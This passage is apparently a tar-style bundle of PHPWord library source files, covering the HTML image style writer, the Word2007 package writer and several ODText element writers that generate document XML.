     * Write style.
     *
     * @return mixed
     */
    abstract public function write();

    /**
     * Create new instance.
     *
     * @param array|StyleAbstract $style
     */
    public function __construct($style = null)
    {
        $this->style = $style;
    }

    /**
     * Set parent writer.
     *
     * @param HTML $writer
     */
    public function setParentWriter($writer): void
    {
        $this->parentWriter = $writer;
    }

    /**
     * Get parent writer.
     *
     * @return HTML
     */
    public function getParentWriter()
    {
        return $this->parentWriter;
    }

    /**
     * Get style.
     *
     * @return null|array|string|StyleAbstract
     */
    public function getStyle()
    {
        if (!$this->style instanceof StyleAbstract && !is_array($this->style)) {
            return '';
        }

        return $this->style;
    }

    /**
     * Takes array where of CSS properties / values and converts to CSS string.
     *
     * @param array $css
     *
     * @return string
     */
    protected function assembleCss($css)
    {
        $pairs = [];
        $string = '';
        foreach ($css as $key => $value) {
            if ($value != '') {
                $pairs[] = $key . ': ' . $value;
            }
        }
        if (!empty($pairs)) {
            $string = implode('; ', $pairs) . ';';
        }

        return $string;
    }

    /**
     * Get value if ...
     *
     * @param null|bool $condition
     * @param string $value
     *
     * @return string
     */
    protected function getValueIf($condition, $value)
    {
        return $condition == true ? $value : '';
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Style/Image.php000066600000002443151150442730020525 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Style;

/**
 * Paragraph style HTML writer.
 *
 * @since 0.10.0
 */
class Image extends AbstractStyle
{
    /**
     * Write style.
     *
     * @return string
     */
    public function write()
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Image) {
            return '';
        }
        $css = [];

        $width = $style->getWidth();
        $height = $style->getHeight();
        $css['width'] = $this->getValueIf(is_numeric($width), $width . 'px');
        $css['height'] = $this->getValueIf(is_numeric($height), $height . 'px');

        return $this->assembleCss($css);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007.php000066600000026027151150442730017067 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer;

use PhpOffice\PhpWord\Element\Section;
use PhpOffice\PhpWord\Media;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\ZipArchive;

/**
 * Word2007 writer.
 */
class Word2007 extends AbstractWriter implements WriterInterface
{
    /**
     * Content types values.
     *
     * @var array
     */
    private $contentTypes = ['default' => [], 'override' => []];

    /**
     * Document relationship.
     *
     * @var array
     */
    private $relationships = [];

    /**
     * Create new Word2007 writer.
     *
     * @param \PhpOffice\PhpWord\PhpWord
     */
    public function __construct(?PhpWord $phpWord = null)
    {
        // Assign PhpWord
        $this->setPhpWord($phpWord);

        // Create parts
        // The first four files need to be in this order for Mimetype detection to work
        $this->parts = [
            'ContentTypes' => '[Content_Types].xml',
            'Rels' => '_rels/.rels',
            'RelsDocument' => 'word/_rels/document.xml.rels',
            'Document' => 'word/document.xml',
            'DocPropsApp' => 'docProps/app.xml',
            'DocPropsCore' => 'docProps/core.xml',
            'DocPropsCustom' => 'docProps/custom.xml',
            'Comments' => 'word/comments.xml',
            'Styles' => 'word/styles.xml',
            'Numbering' => 'word/numbering.xml',
            'Settings' => 'word/settings.xml',
            'WebSettings' => 'word/webSettings.xml',
            'FontTable' => 'word/fontTable.xml',
            'Theme' => 'word/theme/theme1.xml',
            'RelsPart' => '',
            'Header' => '',
            'Footer' => '',
            'Footnotes' => '',
            'Endnotes' => '',
            'Chart' => '',
        ];
        foreach (array_keys($this->parts) as $partName) {
            $partClass = static::class . '\\Part\\' . $partName;
            if (class_exists($partClass)) {
                /** @var \PhpOffice\PhpWord\Writer\Word2007\Part\AbstractPart $part Type hint */
                $part = new $partClass();
                $part->setParentWriter($this);
                $this->writerParts[strtolower($partName)] = $part;
            }
        }

        // Set package paths
        $this->mediaPaths = ['image' => 'word/media/', 'object' => 'word/embeddings/'];
    }

    /**
     * Save document by name.
     */
    public function save(string $filename): void
    {
        $filename = $this->getTempFile($filename);
        $zip = $this->getZipArchive($filename);
        $phpWord = $this->getPhpWord();

        // Content types
        $this->contentTypes['default'] = [
            'rels' => 'application/vnd.openxmlformats-package.relationships+xml',
            'xml' => 'application/xml',
        ];

        // Add section media files
        $sectionMedia = Media::getElements('section');
        if (!empty($sectionMedia)) {
            $this->addFilesToPackage($zip, $sectionMedia);
            $this->registerContentTypes($sectionMedia);
            foreach ($sectionMedia as $element) {
                $this->relationships[] = $element;
            }
        }

        // Add header/footer media files & relations
        $this->addHeaderFooterMedia($zip, 'header');
        $this->addHeaderFooterMedia($zip, 'footer');

        // Add header/footer contents
        $rId = Media::countElements('section') + 6; //@see Rels::writeDocRels for 6 first elements
        $sections = $phpWord->getSections();
        foreach ($sections as $section) {
            $this->addHeaderFooterContent($section, $zip, 'header', $rId);
            $this->addHeaderFooterContent($section, $zip, 'footer', $rId);
        }

        $this->addNotes($zip, $rId, 'footnote');
        $this->addNotes($zip, $rId, 'endnote');
        $this->addComments($zip, $rId);
        $this->addChart($zip, $rId);

        // Write parts
        foreach ($this->parts as $partName => $fileName) {
            if ($fileName != '') {
                $zip->addFromString($fileName, $this->getWriterPart($partName)->write());
            }
        }

        // Close zip archive and cleanup temp file
        $zip->close();
        $this->cleanupTempFile();
    }

    /**
     * Get content types.
     *
     * @return array
     */
    public function getContentTypes()
    {
        return $this->contentTypes;
    }

    /**
     * Get content types.
     *
     * @return array
     */
    public function getRelationships()
    {
        return $this->relationships;
    }

    /**
     * Add header/footer media files, e.g. footer1.xml.rels.
     *
     * @param string $docPart
     */
    private function addHeaderFooterMedia(ZipArchive $zip, $docPart): void
    {
        $elements = Media::getElements($docPart);
        if (!empty($elements)) {
            foreach ($elements as $file => $media) {
                if (count($media) > 0) {
                    if (!empty($media)) {
                        $this->addFilesToPackage($zip, $media);
                        $this->registerContentTypes($media);
                    }

                    /** @var \PhpOffice\PhpWord\Writer\Word2007\Part\AbstractPart $writerPart Type hint */
                    $writerPart = $this->getWriterPart('relspart')->setMedia($media);
                    $zip->addFromString("word/_rels/{$file}.xml.rels", $writerPart->write());
                }
            }
        }
    }

    /**
     * Add header/footer content.
     *
     * @param string $elmType header|footer
     * @param int &$rId
     */
    private function addHeaderFooterContent(Section &$section, ZipArchive $zip, $elmType, &$rId): void
    {
        $getFunction = $elmType == 'header' ? 'getHeaders' : 'getFooters';
        $elmCount = ($section->getSectionId() - 1) * 3;
        $elements = $section->$getFunction();
        /** @var \PhpOffice\PhpWord\Element\AbstractElement $element Type hint */
        foreach ($elements as &$element) {
            ++$elmCount;
            $element->setRelationId(++$rId);
            $elmFile = "{$elmType}{$elmCount}.xml"; // e.g. footer1.xml
            $this->contentTypes['override']["/word/$elmFile"] = $elmType;
            $this->relationships[] = ['target' => $elmFile, 'type' => $elmType, 'rID' => $rId];

            /** @var \PhpOffice\PhpWord\Writer\Word2007\Part\AbstractPart $writerPart Type hint */
            $writerPart = $this->getWriterPart($elmType)->setElement($element);
            $zip->addFromString("word/$elmFile", $writerPart->write());
        }
    }

    /**
     * Add footnotes/endnotes.
     *
     * @param int &$rId
     * @param string $noteType
     */
    private function addNotes(ZipArchive $zip, &$rId, $noteType = 'footnote'): void
    {
        $phpWord = $this->getPhpWord();
        $noteType = ($noteType == 'endnote') ? 'endnote' : 'footnote';
        $partName = "{$noteType}s";
        $method = 'get' . $partName;
        $collection = $phpWord->$method();

        // Add footnotes media files, relations, and contents
        if ($collection->countItems() > 0) {
            $media = Media::getElements($noteType);
            $this->addFilesToPackage($zip, $media);
            $this->registerContentTypes($media);
            $this->contentTypes['override']["/word/{$partName}.xml"] = $partName;
            $this->relationships[] = ['target' => "{$partName}.xml", 'type' => $partName, 'rID' => ++$rId];

            // Write relationships file, e.g. word/_rels/footnotes.xml
            if (!empty($media)) {
                /** @var \PhpOffice\PhpWord\Writer\Word2007\Part\AbstractPart $writerPart Type hint */
                $writerPart = $this->getWriterPart('relspart')->setMedia($media);
                $zip->addFromString("word/_rels/{$partName}.xml.rels", $writerPart->write());
            }

            // Write content file, e.g. word/footnotes.xml
            $writerPart = $this->getWriterPart($partName)->setElements($collection->getItems());
            $zip->addFromString("word/{$partName}.xml", $writerPart->write());
        }
    }

    /**
     * Add comments.
     *
     * @param int &$rId
     */
    private function addComments(ZipArchive $zip, &$rId): void
    {
        $phpWord = $this->getPhpWord();
        $collection = $phpWord->getComments();
        $partName = 'comments';

        // Add comment relations and contents
        if ($collection->countItems() > 0) {
            $this->relationships[] = ['target' => "{$partName}.xml", 'type' => $partName, 'rID' => ++$rId];

            // Write content file, e.g. word/comments.xml
            $writerPart = $this->getWriterPart($partName)->setElements($collection->getItems());
            $zip->addFromString("word/{$partName}.xml", $writerPart->write());
        }
    }

    /**
     * Add chart.
     *
     * @param int &$rId
     */
    private function addChart(ZipArchive $zip, &$rId): void
    {
        $phpWord = $this->getPhpWord();

        $collection = $phpWord->getCharts();
        $index = 0;
        if ($collection->countItems() > 0) {
            /** @var \PhpOffice\PhpWord\Element\Chart $chart */
            foreach ($collection->getItems() as $chart) {
                ++$index;
                ++$rId;
                $filename = "charts/chart{$index}.xml";

                // ContentTypes.xml
                $this->contentTypes['override']["/word/{$filename}"] = 'chart';

                // word/_rels/document.xml.rel
                $this->relationships[] = ['target' => $filename, 'type' => 'chart', 'rID' => $rId];

                // word/charts/chartN.xml
                $chart->setRelationId($rId);
                $writerPart = $this->getWriterPart('Chart');
                $writerPart->setElement($chart);
                $zip->addFromString("word/{$filename}", $writerPart->write());
            }
        }
    }

    /**
     * Register content types for each media.
     *
     * @param array $media
     */
    private function registerContentTypes($media): void
    {
        foreach ($media as $medium) {
            $mediumType = $medium['type'];
            if ($mediumType == 'image') {
                $extension = $medium['imageExtension'];
                if (!isset($this->contentTypes['default'][$extension])) {
                    $this->contentTypes['default'][$extension] = $medium['imageType'];
                }
            } elseif ($mediumType == 'object') {
                if (!isset($this->contentTypes['default']['bin'])) {
                    $this->contentTypes['default']['bin'] = 'application/vnd.openxmlformats-officedocument.oleObject';
                }
            }
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Element/Formula.php000066600000004647151150442730022014 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Element;

use PhpOffice\PhpWord\Element\Formula as ElementFormula;
use PhpOffice\PhpWord\Shared\Converter;
use PhpOffice\PhpWord\Writer\ODText\Part\AbstractPart;

/**
 * Formula element writer.
 *
 * @since 0.10.0
 */
class Formula extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof ElementFormula) {
            return;
        }

        $part = $this->getPart();
        if (!$part instanceof AbstractPart) {
            return;
        }

        $objectIdx = $part->addObject($element);

        //$style = $element->getStyle();
        //$width = Converter::pixelToCm($style->getWidth());
        //$height = Converter::pixelToCm($style->getHeight());

        $xmlWriter->startElement('text:p');
        $xmlWriter->writeAttribute('text:style-name', 'OB' . $objectIdx);

        $xmlWriter->startElement('draw:frame');
        $xmlWriter->writeAttribute('draw:name', $element->getElementId());
        $xmlWriter->writeAttribute('text:anchor-type', 'as-char');
        //$xmlWriter->writeAttribute('svg:width', $width . 'cm');
        //$xmlWriter->writeAttribute('svg:height', $height . 'cm');
        //$xmlWriter->writeAttribute('draw:z-index', $mediaIndex);

        $xmlWriter->startElement('draw:object');
        $xmlWriter->writeAttribute('xlink:href', 'Formula' . $objectIdx);
        $xmlWriter->writeAttribute('xlink:type', 'simple');
        $xmlWriter->writeAttribute('xlink:show', 'embed');
        $xmlWriter->writeAttribute('xlink:actuate', 'onLoad');
        $xmlWriter->endElement(); // draw:object

        $xmlWriter->endElement(); // draw:frame

        $xmlWriter->endElement(); // text:p
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Element/TextRun.php000066600000002505151150442730022007 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Element;

/**
 * TextRun element writer.
 *
 * @since 0.10.0
 */
class TextRun extends Text
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();

        $xmlWriter->startElement('text:p');
        /** @scrutinizer ignore-call */
        $pStyle = $element->getParagraphStyle();
        if (!is_string($pStyle)) {
            $pStyle = 'Normal';
        }
        $xmlWriter->writeAttribute('text:style-name', $pStyle);

        $containerWriter = new Container($xmlWriter, $element);
        $containerWriter->write();

        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Element/AbstractElement.php000066600000001603151150442730023451 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Element;

use PhpOffice\PhpWord\Writer\Word2007\Element\AbstractElement as Word2007AbstractElement;

/**
 * Abstract element writer.
 *
 * @since 0.11.0
 */
abstract class AbstractElement extends Word2007AbstractElement
{
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Element/Field.php000066600000006101151150442730021415 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */
// Not fully implemented
//     - supports only PAGE, NUMPAGES, DATE and FILENAME
//     - supports only default formats and options
//     - supports style only if specified by name
//     - spaces before and after field may be dropped

namespace PhpOffice\PhpWord\Writer\ODText\Element;

/**
 * Field element writer.
 *
 * @since 0.11.0
 */
class Field extends Text
{
    /**
     * Write field element.
     */
    public function write(): void
    {
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\Field) {
            return;
        }

        $type = strtolower($element->getType());
        switch ($type) {
            case 'date':
            case 'page':
            case 'numpages':
            case 'filename':
                $this->writeDefault($element, $type);

                break;
        }
    }

    private function writeDefault(\PhpOffice\PhpWord\Element\Field $element, $type): void
    {
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('text:span');
        if (method_exists($element, 'getFontStyle')) {
            $fstyle = $element->getFontStyle();
            if (is_string($fstyle)) {
                $xmlWriter->writeAttribute('text:style-name', $fstyle);
            }
        }
        switch ($type) {
            case 'date':
                $xmlWriter->startElement('text:date');
                $xmlWriter->writeAttribute('text:fixed', 'false');
                $xmlWriter->endElement();

                break;
            case 'page':
                $xmlWriter->startElement('text:page-number');
                $xmlWriter->writeAttribute('text:fixed', 'false');
                $xmlWriter->endElement();

                break;
            case 'numpages':
                $xmlWriter->startElement('text:page-count');
                $xmlWriter->endElement();

                break;
            case 'filename':
                $xmlWriter->startElement('text:file-name');
                $xmlWriter->writeAttribute('text:fixed', 'false');
                $options = $element->getOptions();
                if ($options != null && in_array('Path', $options)) {
                    $xmlWriter->writeAttribute('text:display', 'full');
                } else {
                    $xmlWriter->writeAttribute('text:display', 'name');
                }
                $xmlWriter->endElement();

                break;
        }
        $xmlWriter->endElement(); // text:span
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Element/Link.php000066600000003005151150442730021267 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Element;

/**
 * Text element writer.
 *
 * @since 0.10.0
 */
class Link extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\Link) {
            return;
        }

        if (!$this->withoutP) {
            $xmlWriter->startElement('text:p'); // text:p
        }

        $xmlWriter->startElement('text:a');
        $xmlWriter->writeAttribute('xlink:type', 'simple');
        $xmlWriter->writeAttribute('xlink:href', ($element->isInternal() ? '#' : '') . $element->getSource());
        $this->writeText($element->getText());
        $xmlWriter->endElement(); // text:a

        if (!$this->withoutP) {
            $xmlWriter->endElement(); // text:p
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Element/Table.php000066600000005455151150442730021434 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Element;

use PhpOffice\PhpWord\Element\Row as RowElement;
use PhpOffice\PhpWord\Element\Table as TableElement;
use PhpOffice\PhpWord\Shared\XMLWriter;

/**
 * Table element writer.
 *
 * @since 0.10.0
 */
class Table extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\Table) {
            return;
        }
        $rows = $element->getRows();
        $rowCount = count($rows);

        if ($rowCount > 0) {
            $xmlWriter->startElement('table:table');
            $xmlWriter->writeAttribute('table:name', $element->getElementId());
            $xmlWriter->writeAttribute('table:style-name', $element->getElementId());

            // Write columns
            $this->writeColumns($xmlWriter, $element);

            // Write rows
            foreach ($rows as $row) {
                $this->writeRow($xmlWriter, $row);
            }
            $xmlWriter->endElement(); // table:table
        }
    }

    /**
     * Write column.
     */
    private function writeColumns(XMLWriter $xmlWriter, TableElement $element): void
    {
        $colCount = $element->countColumns();

        for ($i = 0; $i < $colCount; ++$i) {
            $xmlWriter->startElement('table:table-column');
            $xmlWriter->writeAttribute('table:style-name', $element->getElementId() . '.' . $i);
            $xmlWriter->endElement();
        }
    }

    /**
     * Write row.
     */
    private function writeRow(XMLWriter $xmlWriter, RowElement $row): void
    {
        $xmlWriter->startElement('table:table-row');
        /** @var \PhpOffice\PhpWord\Element\Row $row Type hint */
        foreach ($row->getCells() as $cell) {
            $xmlWriter->startElement('table:table-cell');
            $xmlWriter->writeAttribute('office:value-type', 'string');

            $containerWriter = new Container($xmlWriter, $cell);
            $containerWriter->write();

            $xmlWriter->endElement(); // table:table-cell
        }
        $xmlWriter->endElement(); // table:table-row
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Element/Text.php000066600000012404151150442730021321 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Element;

use PhpOffice\PhpWord\Element\TrackChange;
use PhpOffice\PhpWord\Exception\Exception;

/**
 * Text element writer.
 *
 * @since 0.10.0
 */
class Text extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\Text) {
            return;
        }
        $fontStyle = $element->getFontStyle();
        $paragraphStyle = $element->getParagraphStyle();

        // @todo Commented for TextRun. Should really checkout this value
        // $fStyleIsObject = ($fontStyle instanceof Font) ? true : false;
        //$fStyleIsObject = false;

        //if ($fStyleIsObject) {
        // Don't never be the case, because I browse all sections for cleaning all styles not declared
        //    throw new Exception('PhpWord : $fStyleIsObject wouldn\'t be an object');
        //}

        if (!$this->withoutP) {
            $xmlWriter->startElement('text:p'); // text:p
        }
        if ($element->getTrackChange() != null && $element->getTrackChange()->getChangeType() == TrackChange::DELETED) {
            $xmlWriter->startElement('text:change');
            $xmlWriter->writeAttribute('text:change-id', $element->getTrackChange()->getElementId());
            $xmlWriter->endElement();
        } else {
            if (empty($fontStyle)) {
                if (empty($paragraphStyle)) {
                    if (!$this->withoutP) {
                        $xmlWriter->writeAttribute('text:style-name', 'Normal');
                    }
                } elseif (is_string($paragraphStyle)) {
                    if (!$this->withoutP) {
                        $xmlWriter->writeAttribute('text:style-name', $paragraphStyle);
                    }
                }
                $this->writeChangeInsertion(true, $element->getTrackChange());
                $this->replaceTabs($element->getText(), $xmlWriter);
                $this->writeChangeInsertion(false, $element->getTrackChange());
            } else {
                if (empty($paragraphStyle)) {
                    if (!$this->withoutP) {
                        $xmlWriter->writeAttribute('text:style-name', 'Normal');
                    }
                } elseif (is_string($paragraphStyle)) {
                    if (!$this->withoutP) {
                        $xmlWriter->writeAttribute('text:style-name', $paragraphStyle);
                    }
                }
                // text:span
                $xmlWriter->startElement('text:span');
                if (is_string($fontStyle)) {
                    $xmlWriter->writeAttribute('text:style-name', $fontStyle);
                }
                $this->writeChangeInsertion(true, $element->getTrackChange());
                $this->replaceTabs($element->getText(), $xmlWriter);
                $this->writeChangeInsertion(false, $element->getTrackChange());
                $xmlWriter->endElement();
            }
        }
        if (!$this->withoutP) {
            $xmlWriter->endElement(); // text:p
        }
    }

    private function replacetabs($text, $xmlWriter): void
    {
        if (preg_match('/^ +/', $text, $matches)) {
            $num = strlen($matches[0]);
            $xmlWriter->startElement('text:s');
            $xmlWriter->writeAttributeIf($num > 1, 'text:c', "$num");
            $xmlWriter->endElement();
            $text = preg_replace('/^ +/', '', $text);
        }
        preg_match_all('/([\\s\\S]*?)(\\t|  +| ?$)/', $text, $matches, PREG_SET_ORDER);
        foreach ($matches as $match) {
            $this->writeText($match[1]);
            if ($match[2] === '') {
                break;
            } elseif ($match[2] === "\t") {
                $xmlWriter->writeElement('text:tab');
            } elseif ($match[2] === ' ') {
                $xmlWriter->writeElement('text:s');

                break;
            } else {
                $num = strlen($match[2]);
                $xmlWriter->startElement('text:s');
                $xmlWriter->writeAttributeIf($num > 1, 'text:c', "$num");
                $xmlWriter->endElement();
            }
        }
    }

    private function writeChangeInsertion($start = true, ?TrackChange $trackChange = null): void
    {
        if ($trackChange == null || $trackChange->getChangeType() != TrackChange::INSERTED) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();
        $xmlWriter->startElement('text:change-' . ($start ? 'start' : 'end'));
        $xmlWriter->writeAttribute('text:change-id', $trackChange->getElementId());
        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Element/Container.php000066600000002117151150442730022317 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Element;

use PhpOffice\PhpWord\Writer\Word2007\Element\Container as Word2007Container;

/**
 * Container element writer (section, textrun, header, footnote, cell, etc.).
 *
 * @since 0.11.0
 */
class Container extends Word2007Container
{
    /**
     * Namespace; Can't use __NAMESPACE__ in inherited class (ODText).
     *
     * @var string
     */
    protected $namespace = 'PhpOffice\\PhpWord\\Writer\\ODText\\Element';
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Element/Title.php000066600000004755151150442730021470 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Element;

/**
 * Title element writer.
 *
 * @since 0.11.0
 */
class Title extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\Title) {
            return;
        }

        $xmlWriter->startElement('text:h');
        $hdname = 'HD';
        $sect = $element->getParent();
        if ($sect instanceof \PhpOffice\PhpWord\Element\Section) {
            if (self::compareToFirstElement($element, $sect->getElements())) {
                $hdname = 'HE';
            }
        }
        $depth = $element->getDepth();
        $xmlWriter->writeAttribute('text:style-name', "$hdname$depth");
        $xmlWriter->writeAttribute('text:outline-level', $depth);
        $xmlWriter->startElement('text:span');
        if ($depth > 0) {
            $xmlWriter->writeAttribute('text:style-name', 'Heading_' . $depth);
        } else {
            $xmlWriter->writeAttribute('text:style-name', 'Title');
        }
        $text = $element->getText();
        if (is_string($text)) {
            $this->writeText($text);
        }
        if ($text instanceof \PhpOffice\PhpWord\Element\AbstractContainer) {
            $containerWriter = new Container($xmlWriter, $text);
            $containerWriter->write();
        }
        $xmlWriter->endElement(); // text:span
        $xmlWriter->endElement(); // text:h
    }

    /**
     * Test if element is same as first element in array.
     *
     * @param \PhpOffice\PhpWord\Element\AbstractElement $elem
     * @param \PhpOffice\PhpWord\Element\AbstractElement[] $elemarray
     *
     * @return bool
     */
    private static function compareToFirstElement($elem, $elemarray)
    {
        return $elem === $elemarray[0];
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Element/PageBreak.php000066600000002012151150442730022210 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Element;

/**
 * PageBreak element writer.
 */
class PageBreak extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('text:p');
        $xmlWriter->writeAttribute('text:style-name', 'PB');
        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Element/TextBreak.php000066600000002044151150442730022265 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
